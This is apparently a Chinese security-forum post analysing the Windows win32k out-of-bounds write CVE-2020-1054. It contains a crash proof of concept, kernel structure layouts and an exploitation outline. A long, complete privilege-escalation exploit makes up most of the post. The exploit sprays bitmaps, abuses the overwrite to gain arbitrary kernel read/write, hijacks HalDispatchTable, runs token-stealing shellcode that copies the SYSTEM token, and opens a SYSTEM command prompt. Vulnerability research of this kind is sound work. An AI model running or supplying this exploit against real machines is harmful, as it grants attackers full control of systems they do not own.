-
-
[原创]win越界写漏洞分析 CVE-2020-1054
-
2023-1-5 17:35 23544
-
这篇是1-4正好赶上换域名时编辑的帖子,换完全没了,心态炸了。。。
还未写完,后续补补,怕编辑中的帖子又没了
参考链接:
https://cpr-zero.checkpoint.com/vulns/cprid-2153/
https://www.anquanke.com/post/id/209329#h2-0
https://bbs.kanxue.com/thread-273701.htmhttps://bbs.kanxue.com/thread-260884.htm
漏洞poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | #include <Windows.h> #include <inttypes.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> int main( int argc, char * argv[]) { LoadLibrary( "user32.dll" ); HDC r0 = CreateCompatibleDC( 0x0 ); HBITMAP r1 = CreateCompatibleBitmap(r0, 0x9f42 , 0xa ); SelectObject(r0, r1); DrawIconEx(r0, 0x0 , 0x0 , 0x30000010003 , 0x0 , 0xfffffffffebffffc , 0x0 , 0x0 , 0x6 ); return 0 ; } |
https://learn.microsoft.com/zh-cn/windows/win32/api/wingdi/nf-wingdi-createcompatibledc
CreateCompatibleDC 函数 (DC) 创建与指定设备兼容的内存设备上下文。
https://learn.microsoft.com/zh-cn/windows/win32/api/wingdi/nf-wingdi-createcompatiblebitmap
CreateCompatibleBitmap 函数创建与与指定设备上下文关联的设备的位图。
https://learn.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-drawiconex
DrawIconEx将图标或光标绘制到指定的设备上下文中,执行指定的光栅操作,并按指定拉伸或压缩图标或光标。
编译运行poc,系统触发蓝屏,挂上winbdg看看
可以看到是在win32k!vStrWrite01+0x36a处触发的漏洞
崩溃是由于无效的内存引用而发生的,CheckPoint网站上对这个漏洞的描述是它是一个越界(OOB)写入漏洞。
触发漏洞的vStrWrite01函数中的结构如下
1 2 3 4 | VOID vStrWrite01(STRRUN * prun, XRUNLEN * pxrlEnd, SURFACE * pSurf, CLIPOBJ * pco) |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | typedef struct _STRRUN { LONG yPos; LONG cRep; XRUNLEN xrl; } STRRUN; typedef struct _XRUNLEN { LONG xPos; LONG cRun; LONG aul[ 1 ]; } XRUNLEN; typedef struct tagSIZE { LONG cx; LONG cy; } SIZE, * PSIZE, * LPSIZE; typedef SIZE SIZEL; typedef struct _BASEOBJECT64{ ULONG64 hHmgr; / / 0x00 ULONG32 ulShareCount; / / 0x08 WORD cExclusiveLock; / / 0x0A WORD BaseFlags; / / 0x0C ULONG64 Tid; / / 0x10 } BASEOBJECT64; typedef struct _SURFOBJ64{ BASEOBJECT64 baseObj; / / 0x00 ULONG64 dhsurf; / / 0x18 ULONG64 hsurf; / / 0x20 ULONG64 dhpdev; / / 0x28 ULONG64 hdev; / / 0x30 SIZEL sizlBitmap; / / 0x38 ULONG64 cjBits; / / 0x40 ULONG64 pvBits; / / 0x48 ULONG64 pvScan0; / / 0x50 ULONG32 lDelta; / / 0x58 ULONG32 iUniq; / / 0x5C ULONG32 iBitmapFormat; / / 0x60 USHORT iType; / / 0x64 USHORT fjBitmap; / / 0x66 } SURFOBJ64; |
读取的内存地址由rcx与rax决定,所以就需要分析rcx与rax的计算才能知道读取的内存地址。
r14寄存器的值的计算可以用以下循环来计算:
1 2 3 4 5 | for (i = 0 ; i < prun - >yPos; i + + ) { r14 = pSurf - >lDelta * prun - >yPos + pSurf - >pvScan0 + (prun - >xrl - >xPos >> 5 ) * 4 + i * pSurf - >lDelta / / 对r14指向的内存地址进行读写 } |
mov esi, [r14] esi后面会被用来进行and或or
vStrWrite01函数完整的逆向参见https://bbs.kanxue.com/thread-260884.htm 很详细
漏洞利用的步骤如下:
创建用来触发漏洞的BitMap对象hExpBitMap(fffff900’c700000)
在hExpBitMap偏移0x100070000处放置一个BitMap对象,作为hManager
在hManager之后偏移0x7000地址处分配一个BitMap对象作为hWorker
(申请足够多的SURFOBJs(通过CreateCompatibleBitmap)这样其中一个会被分配在(fffff900’c700000)
另一个SURFOBJ会被分配在第一个的后面
同时第三个SURFOBJ会被分配在第二个的后面
计算出 loop_iterations * lDelta 的值,让这个值等于 fffff901'c7000240
)
触发漏洞,扩大hManager所对应的BitMap对象的sizelBitmap来扩大hManager的可读写范围
通过hManager修改hWorker对应的BitMap对象的pvScan0
就可以实现任意地址读写修改进程的token实现提权
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 | #pragma once #include <cstdio> #include <windows.h> #include <Psapi.h> #define PAGE_SIZE 0x1000 #define TYPE_WINDOW 1 #define POOL_HEADER_SIZE 0x10 EXTERN_C_START ULONG64 GetPEB(); NTSTATUS ShellCodeInWin7(); EXTERN_C_END / * .code ShellCodeInWin7 proc push r8 push r9 ; 从KPCR中获取当前线程_ETHREAD mov rax, gs:[ 188h ] ; 从_ETHREAD中获取当前进程_EPROCESS mov rax, [rax + 070h ] mov r8, rax find_system_proc: ; 获取下一进程EPROCESS地址 mov rax, [rax + 188h ] sub rax, 188h ; 获取PID mov rdx, [rax + 180h ] ; 判断pid是否为 4 ,不为 4 则跳转 cmp rdx, 4 jne find_system_proc ; 将system的token赋值给本进程,并增加引用计数 mov rax, [rax + 208h ] and al, 0f0h mov [r8 + 208h ], rax mov r9, 2 add [rax - 30h ], r9 ; 设置返回值,退出函数 mov rax, 1 pop r9 pop r8 ret ShellCodeInWin7 endp .code GetPEB proc mov rax, gs:[ 60h ] ret GetPEB endp end * / typedef DWORD64 QWORD; typedef PDWORD64 PQWORD; typedef struct _LARGE_UNICODE_STRING { ULONG Length; ULONG MaximumLength : 31 ; ULONG bAnsi : 1 ; PWSTR Buffer ; } LARGE_UNICODE_STRING, * PLARGE_UNICODE_STRING; typedef struct _HEAD { HANDLE h; DWORD clockObj; }HEAD, * PHEAD; typedef struct _THROBJHEAD { HEAD h; PVOID pti; }THROBJHEAD, * PTHROBJHEAD; typedef struct _THRDESKHEAD { THROBJHEAD h; PVOID rpdesk; PVOID pSelf; }THRDESKHEAD, * PTHRDESKHEAD; typedef struct _GDICELL64 { PVOID pKernelAddress; USHORT wProcessId; USHORT wCount; USHORT wUpper; USHORT wType; PVOID pUserAddress; } GDICELL64, * PGDICELL64; typedef NTSTATUS(WINAPI * lpfnNtQueryIntervalProfile)(IN QWORD Src, IN OUT PQWORD Profile); VOID ShowError(char * str , DWORD dwErrorCode) { printf( "%s Error 0x%X\n" , str , dwErrorCode); } ULONG64 GetNTBase() { ULONG64 Base[ 0x1000 ]; DWORD dwRet = 0 ; ULONG64 ulKrnlBase = 0 ; if (EnumDeviceDrivers((LPVOID * )&Base, sizeof(Base), &dwRet)) { ulKrnlBase = Base[ 0 ]; } else { printf( "EnumDeviceDrivers" ); } return ulKrnlBase; } PVOID GetHalQuerySystemInformation() { PVOID pXHalQuerySystemInformation = NULL; ULONG64 ulHalDispatchTable = 0 ; HMODULE hKernel = NULL; ULONG64 ulOsBase = 0 ; ulOsBase = GetNTBase(); if (!ulOsBase) { goto exit; } hKernel = LoadLibraryA( "ntoskrnl.exe" ); if (!hKernel) { printf( "LoadLibrary" ); goto exit; } / / 获取内核HalDispatchTable函数表地址 ulHalDispatchTable = (ULONG64)GetProcAddress((HMODULE)hKernel, "HalDispatchTable" ); if (!ulHalDispatchTable) { printf( "GetProcAddress" ); goto exit; } ulHalDispatchTable = ulHalDispatchTable - (ULONG64)hKernel + ulOsBase; pXHalQuerySystemInformation = (PVOID)(ulHalDispatchTable + sizeof(ULONG64)); exit: if (hKernel) FreeLibrary(hKernel); return pXHalQuerySystemInformation; } BOOL CallNtQueryIntervalProfile() { BOOL bRet = TRUE; NTSTATUS status = 0 ; HMODULE hDll = NULL; hDll = LoadLibraryA( "ntdll.dll" ); if (!hDll) { printf( "LoadLibrary ntdll.dll" ); return FALSE; } lpfnNtQueryIntervalProfile NtQueryIntervalProfile = (lpfnNtQueryIntervalProfile)GetProcAddress(hDll, "NtQueryIntervalProfile" ); if (!NtQueryIntervalProfile) { bRet = FALSE; printf( "GetProcAddress" ); return FALSE; } QWORD dwRet = 0 ; QWORD dwProfileTotalIssues = 0x3 ; status = NtQueryIntervalProfile(dwProfileTotalIssues, &dwRet); if (status < 0 ) { printf( "NtQueryIntervalProfile" ); return FALSE; } } / / 成功扩大hManager的读写范围之后,就可以通过修改hWorker的pvScan0来实现任意地址读写 BOOL EnablePrivilege_CVE_2020_1054(HBITMAP hManager, HBITMAP hWorker, ULONG64 ulSize) { PVOID pBuf = NULL; pBuf = malloc(ulSize + 0x10 ); if (!pBuf) { printf( "malloc error" ); return FALSE; } ZeroMemory(pBuf, ulSize + 0x10 ); if (!GetBitmapBits(hManager, ulSize, pBuf)) { printf( "GetBitmapBits error" ); return FALSE; } ULONG64 ulHalQuerySystenInformation = (ULONG64)GetHalQuerySystemInformation(); if (!ulHalQuerySystenInformation) { printf( "GetHalQuerySystemInformation error" ); return FALSE; } * (PULONG64)((ULONG64)pBuf + ulSize) = ulHalQuerySystenInformation; if (!SetBitmapBits(hManager, ulSize + sizeof(ULONG64), pBuf)) { printf( "SetBitmapBits" ); return FALSE; } ULONG64 ulOrg = 0 ; if (!GetBitmapBits(hWorker, sizeof(ULONG64), &ulOrg)) { printf( "GetBitmapBits error" ); return FALSE; } ULONG64 ulShellCode = (ULONG64)ShellCodeInWin7; if (!SetBitmapBits(hWorker, sizeof(ULONG64), &ulShellCode)) { printf( "GetBitmapBits" ); return FALSE; } if (!CallNtQueryIntervalProfile()) { return FALSE; } if (!SetBitmapBits(hWorker, sizeof(ULONG64), &ulOrg)) { printf( "GetBitmapBits" ); return FALSE; } } ULONG64 GetBitMapKerAddr(HBITMAP hBitMap) { ULONG64 pKernelAddress = NULL; ULONG64 ulPEB = GetPEB(); ULONG64 ulGdiSharedHandleTable = * (PULONG64)(ulPEB + 0xF8 ); PGDICELL64 pGdiCell = NULL; pGdiCell = (PGDICELL64)(ulGdiSharedHandleTable + sizeof(GDICELL64) * ((ULONG64)hBitMap & 0xFFFF )); return (ULONG64)pGdiCell - >pKernelAddress; } static VOID CreateCmd() { STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOW; WCHAR wzFilePath[MAX_PATH] = { L "cmd.exe" }; BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi); if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess); } int main() { / / 喷射大量 0x7000 大小的BitMap对象 if (!LoadLibraryA( "user32.dll" )) { printf( "LoadLibrary error" ); return 0 ; } HDC hdc = NULL; hdc = CreateCompatibleDC(NULL); if (!hdc) { printf( "CreateCompatibleDC error" ); return 0 ; } HBITMAP hExpBitMap = NULL; hExpBitMap = CreateCompatibleBitmap(hdc, 0x51500 , 0x100 ); if (!hExpBitMap) { printf( "CreateCompatibleBitmap error" ); return 0 ; } ULONG64 ulExpBitMap = GetBitMapKerAddr(hExpBitMap); ULONG64 oob_target = (ulExpBitMap & 0xfffffffffff00000 ) + 0x0000000100000000 ; HBITMAP hManager = NULL, hWorker = NULL; ULONG64 ulManager = 0 , ulWorker = 0 ; while (true) { HBITMAP hBitMap = NULL; hBitMap = CreateCompatibleBitmap(hdc, 0x6F000 , 0x8 ); if (!hBitMap) { printf( "CreateCompatibleBitmap error" ); return 0 ; } ULONG64 ulBitMapKerAddr = GetBitMapKerAddr(hBitMap); if (hManager) { ulWorker = ulBitMapKerAddr; hWorker = hBitMap; break ; } else if (ulBitMapKerAddr > = oob_target && (ulBitMapKerAddr & 0x0000000000070000 ) = = 0x70000 ) { ulManager = ulBitMapKerAddr; hManager = hBitMap; } } / / 触发漏洞,修改hManger的可读写范围 SelectObject(hdc, hExpBitMap); DrawIconEx(hdc, 0x900 , 0xb , (HICON) 0x40000010003 , 0x0 , 0xffe00000 , 0x0 , 0x0 , 0x1 ); ULONG64 ulSize = ulWorker + 0x50 - (ulManager + 0x238 ); if (!EnablePrivilege_CVE_2020_1054(hManager, hWorker, ulSize)) { printf( "error" ); return 0 ; } CreateCmd(); return 0 ; } |